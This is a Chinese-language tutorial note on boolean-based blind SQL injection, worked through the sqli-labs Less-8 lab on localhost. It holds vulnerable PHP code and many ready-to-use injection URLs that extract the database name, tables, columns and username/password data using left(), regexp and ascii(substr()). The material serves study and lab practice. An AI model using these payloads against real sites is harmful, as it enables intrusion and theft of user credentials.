SQL注入笔记 05#

sql注入布尔盲注##

布尔注入原理


    

        $id=$_GET['id'];
        $sql="select * from users where id='$id' limit 0,1";
        $result=mysql_query($sql);
        $row=mysql_fetch_array($result);
           if($row)
              {
                 echo "True";
   
              }
           else
              {
       
                echo "False";
              }
     

上述代码中存在Sql注入漏洞,然而即不会回显数据,也不会报错。

只返回”True” or “False”。

这里我们可以构造注入语句,来判断数据库信息的正确性,再通过页面的”真”和”假”来识别我们的判断是否正确。

这就是布尔盲注。

实验环境 Sqli-labs-less8


    

        http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+ 错误页面
        http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and 1=1--+正确页面
        http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and 1=2--+错误页面
      
        可以判断这是一个盲注点。

    

方法一:Left()函数:##

核心语法:left(database(),1)=’s’

database()显示数据库,left(a,b)从左侧截取a的前b位

注入演示:


    

      http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and left(database(),1)='a'--+错误页面
      http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and left(database(),1)='s'--+正确页面
      接着猜第二个、第三个、第四个.....直到得到完整的数据库名称。
      http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and left(database(),8)='security'--+正确页面
      得到数据库:security
      获取表名:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+
      得到表名为:users
      获取列名:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username' --+
              http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+
      得到列名:username、password
      获取数据:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and left((select group_concat(username,0x7e ,password) from users limit 0,1),1)='d' --+
    

手工注入一个个猜解有点困难我们可以借助工具burp进行自动化获取数据:

方法二:regexp和like正则表达式:##

regexp:

核心语法:select user() regexp ‘^r’

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

like:

核心语法:select user() like ‘ro%’ 与regexp类似,使用like进行匹配。

关于正则表达式的用法可以参考: http://www.runoob.com/mysql/mysql-regexp.html

注入演示:


    

        http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and database() regexp '^s'--+ 正确页面
        接着逐一猜解
        http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and database() regexp '^security'--+ 正确页面
        数据库为:security
        获取表名:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (select table_name from information_schema.tables where table_schema=database() limit 3,1) regexp '^users' --+ 正确页面
        得到表名为:users
        获取列名:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (select column_name from information_schema.columns where table_name='users' limit 1,1) regexp '^username' --+ 正确页面
                 http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (select column_name from information_schema.columns where table_name='users' limit 2,1) regexp '^password' --+正确页面
        得到列名:username、password
        获得用户数据:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (select group_concat(username,0x7e ,password) from users limit 0,1) regexp '^d'--+正确页面
       
    

同样可以借助工具burp进行自动化获取数据:

like用法相似就不做演示了。

方法三:substr()函数和ascii()函数—ord()函数和mid()函数

substr()函数和ascii()函数:

核心语法:ascii(substr((select database(),1,1))=98

substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值

ord()函数和mid()函数:

核心语法:ord(mid((select database(),1,1))=98

当网站源代码中对’等特殊符号进行过滤时我们不能直接’字符串’需要将其转化为相应的ascii码值

这时候我们就要采用这种方式进行sql注入。

ascii码表:

注入演示:


    

        http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and ascii(substr((select database()),1,1))=115--+ 正确页面
        进行逐一猜解:
        得到数据库为:security
        获得表名:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117--+ 正确页面
        逐一猜解得到表名为:users
        获得列名:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+ 正确页面
        逐一猜解得到列名为:username,password
        获得数据:http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and ascii(substr((select group_concat(username,0x7e ,password) from users limit 0,1),1,1))=68--+ 正确页面
       
    

同样可以借助工具burp进行自动化获取数据:

ord()函数和mid()函数用法也是类似。

赞 赏